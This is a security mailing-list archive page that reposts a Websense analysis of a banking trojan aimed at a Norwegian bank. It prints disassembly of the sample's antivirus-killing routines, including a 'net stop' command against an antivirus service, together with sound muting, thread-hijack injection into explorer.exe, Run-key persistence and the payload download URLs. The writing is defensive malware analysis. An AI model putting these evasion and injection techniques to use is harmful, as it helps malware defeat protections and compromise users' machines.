Apache-Talk @lexa.ru 

Inet-Admins @info.east.ru 

Filmscanners @halftone.co.uk 

Security-alerts @yandex-team.ru 

nginx-ru @sysoev.ru 





     АРХИВ :: Security-alerts
Security-Alerts mailing list archive (security-alerts@yandex-team.ru)

[Date Prev][Date Next][Thread Prev][Thread Next][Date Index][Thread Index]

[security-alerts] Norwegian Bank Malware Analysis

Пример практического применения идей обхода/отключения средств защиты, о 
которых давно говорили (в том числе и ЗАРАЗА).


Websense has been made aware of a malware affecting a bank in Norway. The 
original file is called "Logo_1.exe" and its MD5 is: 
The Custom Protector

The file is packed with a custom packer/protector, which we had never 
encountered before. Here is a brief description of the packer and what it does 
to prevent analysis.

The protected application doesn't run in a Virtual Machine (default 
configuration). Once this problem is fixed, it generates 1372 (!) exceptions in 
the loader to thwart debuggers, tracers, emulators, and so forth.

Three different exceptions occur:

    * 1 occurrence of EXCEPTION_BREAKPOINT
    * 2 occurrences of EXCEPTION_SINGLE_STEP
    * 1369 occurrences of EXCEPTION_ACCESS_VIOLATION

After those anti-debugging tricks, the protector executes code from the Heap 
(Allocated with VirtualAlloc), to decrypt/decompress the malware sections in 
memory. After that, it loads the import of the malware, using a custom 
GetProcAddress. Once the Import Address Table has been filled with the Windows 
function addresses, it encrypts the imported function strings, to prevent easy 
rebuilding of the import table.

There is a CRC to prevent patching of the protection code; therefore, the 
protector will never call the original entry point if the code has been 
patched, or if a software breakpoint is found in the routine. Parts of the 
import handling code are similar to the original Yoda Cryptor source code, but 
overall the packer is very different. Eventually, the packer uses a jump to the 
original entry point, and the malware starts executing.

Note: There is an embedded dll in the executable, and it's also protected by 
the same packer. After creating an unpacker for the executable, we used it to 
handle that embedded dll file automatically.
The Malware

Both the executable and the embedded dll file were written in Delphi, resulting 
in a rather bloated executable. There are no useful strings in the binaries in 
the first place, because they are encoded and will only be decoded onto the 
Heap. (Therefore, dumping the malware won't provide a binary with all strings 

A better approach is to use an IDC script (for instance) and decrypt the 
strings, and you get interesting results.
Antivirus killing

One of the first things the malware does is to scan for security applications 
in memory. It uses a few different techniques, including looking for Windows 
Name, Process Name:

zjtr0:00407258                 mov     eax, offset aRavmon_exe ; "RavMon.exe"
zjtr0:0040725D                 call    Decrypt_Strings
zjtr0:00407262                 mov     eax, [ebp+var_4]
zjtr0:00407265                 call    @@LStrToPChar   ; __linkproc__ 
zjtr0:0040726A                 push    eax             ; lpWindowName
zjtr0:0040726B                 lea     edx, [ebp+var_8]
zjtr0:0040726E                 mov     eax, offset aRavmonclass ; "RavMonClass"
zjtr0:00407273                 call    Decrypt_Strings
zjtr0:00407278                 mov     eax, [ebp+var_8]
zjtr0:0040727B                 call    @@LStrToPChar   ; __linkproc__ 
zjtr0:00407280                 push    eax             ; lpClassName
zjtr0:00407281                 call    FindWindowA
zjtr0:00407286                 push    0               ; lParam
zjtr0:00407288                 push    0               ; wParam
zjtr0:0040728A                 push    WM_CLOSE        ; Close Window
zjtr0:0040728C                 push    eax             ; hWnd
zjtr0:0040728D                 call    SendMessageA    ; Kill Some monitor
zjtr0:00407292                 lea     edx, [ebp+var_C]
zjtr0:00407295                 mov     eax, offset aEghost_exe ; "EGHOST.EXE"
zjtr0:0040729A                 call    Decrypt_Strings
zjtr0:0040729F                 mov     eax, [ebp+var_C]
zjtr0:004072A2                 call    Scan_process_and_kill
zjtr0:004072A7                 lea     edx, [ebp+var_10]
zjtr0:004072AA                 mov     eax, offset aMailmon_exe ; "MAILMON.EXE"
zjtr0:004072AF                 call    Decrypt_Strings
zjtr0:004072B4                 mov     eax, [ebp+var_10]
zjtr0:004072B7                 call    Scan_process_and_kill

It kills several antivirus products, if they are found in memory, as well as 
some firewall products. It also tries to unload one antivirus product using 
"net stop," as you can see below:

zjtr0:00408BA8                 call    Kill_AV_products
zjtr0:00408BAD                 lea     edx, [ebp-8]
zjtr0:00408BB0                 mov     eax, offset aKvmonxp_kxp ; "KVMonXP.KXP"
zjtr0:00408BB5                 call    Decrypt_Strings
zjtr0:00408BBA                 mov     eax, [ebp-8]
zjtr0:00408BBD                 call    Scan_process_and_kill
zjtr0:00408BC2                 lea     edx, [ebp-0Ch]
zjtr0:00408BC5                 mov     eax, offset aKregex_exe ; "KRegEx.exe"
zjtr0:00408BCA                 call    Decrypt_Strings
zjtr0:00408BCF                 mov     eax, [ebp-0Ch]
zjtr0:00408BD2                 call    Scan_process_and_kill
zjtr0:00408BD7                 lea     edx, [ebp-10h]
zjtr0:00408BDA                 mov     eax, offset aKvxp_kxp ; "KVXP.KXP"
zjtr0:00408BDF                 call    Decrypt_Strings
zjtr0:00408BE4                 mov     eax, [ebp-10h]
zjtr0:00408BE7                 call    Scan_process_and_kill
zjtr0:00408BEC                 push    0
zjtr0:00408BEE                 lea     edx, [ebp-14h]
zjtr0:00408BF1                 mov     eax, offset aNetStopKingsof
                               ; "net stop \"Kingsoft AntiVirus Service\""
zjtr0:00408BF6                 call    Decrypt_Strings
zjtr0:00408BFB                 mov     eax, [ebp-14h]
zjtr0:00408BFE                 call    @@LStrToPChar   ; __linkproc__ 
zjtr0:00408C03                 push    eax
zjtr0:00408C04                 call    WinExec
zjtr0:00408C09                 lea     eax, [ebp-4]
zjtr0:00408C0C                 push    eax
zjtr0:00408C0D                 push    0
zjtr0:00408C0F                 push    0
zjtr0:00408C11                 push    offset Monitor_AVP_low_volume
zjtr0:00408C16                 push    0
zjtr0:00408C18                 push    0
zjtr0:00408C1A                 call    CreateThread
zjtr0:00408C1F                 push    3E8h
zjtr0:00408C24                 call    Sleep

It generates a thread that scans for AVP Dialogs, and either simulates a mouse 
button-click or just closes the window, using Windows Messages.

zjtr0:004087AD loc_4087AD:                             ; CODE XREF: 
zjtr0:004087AD                 lea     eax, [ebp+var_C]
zjtr0:004087B0                 mov     edx, offset aAvp_ ; "AVP."
zjtr0:004087B5                 call    @@LStrLAsg      ; __linkproc__ LStrLAsg
zjtr0:004087BA                 push    0               ; LPCSTR
zjtr0:004087BC                 lea     eax, [ebp+var_124]
zjtr0:004087C2                 mov     ecx, offset aButton ; "Button"
zjtr0:004087C7                 mov     edx, [ebp+var_C]
zjtr0:004087CA                 call    @@LStrCat3      ; __linkproc__ LStrCat3
zjtr0:004087CF                 mov     eax, [ebp+var_124]
zjtr0:004087D5                 lea     edx, [ebp+var_120]
zjtr0:004087DB                 call    Decrypt_Strings
zjtr0:004087E0                 mov     eax, [ebp+var_120]
zjtr0:004087E6                 call    @@LStrToPChar   ; __linkproc__ 
zjtr0:004087EB                 push    eax             ; LPCSTR
zjtr0:004087EC                 push    ebx             ; HWND
zjtr0:004087ED                 push    edi             ; HWND
zjtr0:004087EE                 call    FindWindowExA
zjtr0:004087F3                 mov     ebx, eax
zjtr0:004087F5                 test    ebx, ebx
zjtr0:004087F7                 jz      simule_mouse_clic

Something we had never seen before was a malware that lowers the computer sound 
volume, in order to prevent the users from hearing a warning sound generated by 
antivirus programs. (Otherwise, that sound could still be heard, even if the 
pop-ups were killed, and a user could suspect an attack.)

zjtr0:00408700                 mov     eax, offset aAvp_exe ; "avp.exe"
zjtr0:00408705                 call    Decrypt_Strings
zjtr0:0040870A                 mov     eax, [ebp+var_114]
zjtr0:00408710                 call    sub_4076EC
zjtr0:00408715                 test    al, al
zjtr0:00408717                 jz      no_found
zjtr0:0040871D                 lea     eax, [ebp+dwVolume]
zjtr0:00408720                 push    eax             ; pdwVolume
zjtr0:00408721                 push    0               ; hwo
zjtr0:00408723                 call    waveOutGetVolume
zjtr0:00408728                 test    eax, eax
zjtr0:0040872A                 jnz     short loc_40873B
zjtr0:0040872C                 mov     [ebp+var_5], 1
zjtr0:00408730                 push    0               ; dwVolume
zjtr0:00408732                 push    0               ; hwo
zjtr0:00408734                 call    waveOutSetVolume
zjtr0:00408739                 jmp     short find_AVP_dialogs

Injection, downloading, and more

When we received the sample, the sites used by this malware were already down, 
so we couldn't get our hands on files that were located remotely. There were 10 
files that were hosted on the same website, with different names, and we don't 
know whether they were all different or not.

    * http://down.[REMOVED].com/dow[REMOVED]1.exe
    * http://down.[REMOVED].com/dow[REMOVED]2.exe
    * http://down.[REMOVED].com/dow[REMOVED]3.exe
    * http://down.[REMOVED].com/dow[REMOVED]4.exe
    * http://down.[REMOVED].com/dow[REMOVED]5.exe
    * http://down.[REMOVED].com/dow[REMOVED]6.exe
    * http://down.[REMOVED].com/dow[REMOVED]7.exe
    * http://down.[REMOVED].com/dow[REMOVED]8.exe
    * http://down.[REMOVED].com/dow[REMOVED]9.exe
    * http://down.[REMOVED].com/dow[REMOVED]10.exe

Before performing a few tasks, the malware first gets its own file size, and 
determines whether the file has been unpacked. If the file is bigger than 
expected, it deletes it. Then it creates a new one from a backup, and creates a 
.bat file that deletes the new instance as soon as it's loaded. This ensures 
integrity of the malware.

If the file size is good (or at least, if it thinks so ;-), the malware drops a 
dll inside the Windows directory, RichDll.dll. The application injects a little 
assembly stub inside explorer.exe that loads the dropped dll:

It doesn't use CreateRemoteThread to execute the injected code, but rather 
suspends explorer.exe and gets the current context, then modifies the 
context.EIP to point to a location in ntdll, sets the new context, and resumes 
execution. This technique is used to avoid being detected by security products 
looking for code injection (firewalls, antiviruses, and the like).

zjtr0:00406319                 mov     eax, hThread
zjtr0:0040631E                 push    eax             ; hThread
zjtr0:0040631F                 call    SuspendThread
zjtr0:00406324                 mov     dword ptr [esp], CONTEXT_FULL
zjtr0:0040632B                 push    esp             ; lpContext
zjtr0:0040632C                 mov     eax, hThread
zjtr0:00406331                 push    eax             ; hThread
zjtr0:00406332                 call    GetThreadContext ; Grab the context
zjtr0:00406337                 test    eax, eax
zjtr0:00406339                 jz      short loc_40636C
zjtr0:0040633B                 push    esi
zjtr0:0040633C                 lea     esi, [esp+4]
zjtr0:00406340                 mov     edi, offset unk_4126D4
zjtr0:00406345                 mov     ecx, 51
zjtr0:0040634A                 rep movsd
zjtr0:0040634C                 pop     esi
zjtr0:0040634D                 mov     eax, dword_4126CC
zjtr0:00406352                 mov     [esp+CONTEXT.Eip], eax ; EAX = some dll 
zjtr0:00406359                 mov     [esp+0CCh+var_CC], 10007h
zjtr0:00406360                 push    esp             ; lpContext
zjtr0:00406361                 mov     eax, hThread
zjtr0:00406366                 push    eax             ; hThread
zjtr0:00406367                 call    SetThreadContext
zjtr0:0040636C loc_40636C:                             ; CODE XREF: 
zjtr0:0040636C                 mov     eax, hThread
zjtr0:00406371                 push    eax             ; hThread
zjtr0:00406372                 call    ResumeThread
zjtr0:00406377                 push    0               ; lParam
zjtr0:00406379                 push    0               ; wParam
zjtr0:0040637B                 push    0               ; Msg
zjtr0:0040637D                 push    esi             ; idThread
zjtr0:0040637E                 call    PostThreadMessageA

Once injected, it uses a Windows function to tell the main executable component 
that the dll has been injected successfully.

The malware is copied in \Windows\uninstall\ under the name "rundl132.exe". The 
registry key "Software\Microsoft\Windows\CurrentVersion\Run" is modified, a new 
key "load" is created, and the value is the full path to the malware, so that 
it can run again when Windows restarts.

A file _desktop.ini is created on C:\ containing the infection date, in clear 

The malware also scans the computer in various folders for .exe files, but we 
haven't found evidence of replacement or infection.

Most importantly, the malware spreads on LANs, using shared folders ($IPC and 
the like).

We couldn't do more analysis, because the downloaded components weren't 
available at the time of the analysis. If you happen to have been infected by 
this malware, and have the downloaded files, please contact me at 

We thank EDB and Norman for providing samples for analysis.


Copyright © Lexa Software, 1996-2009.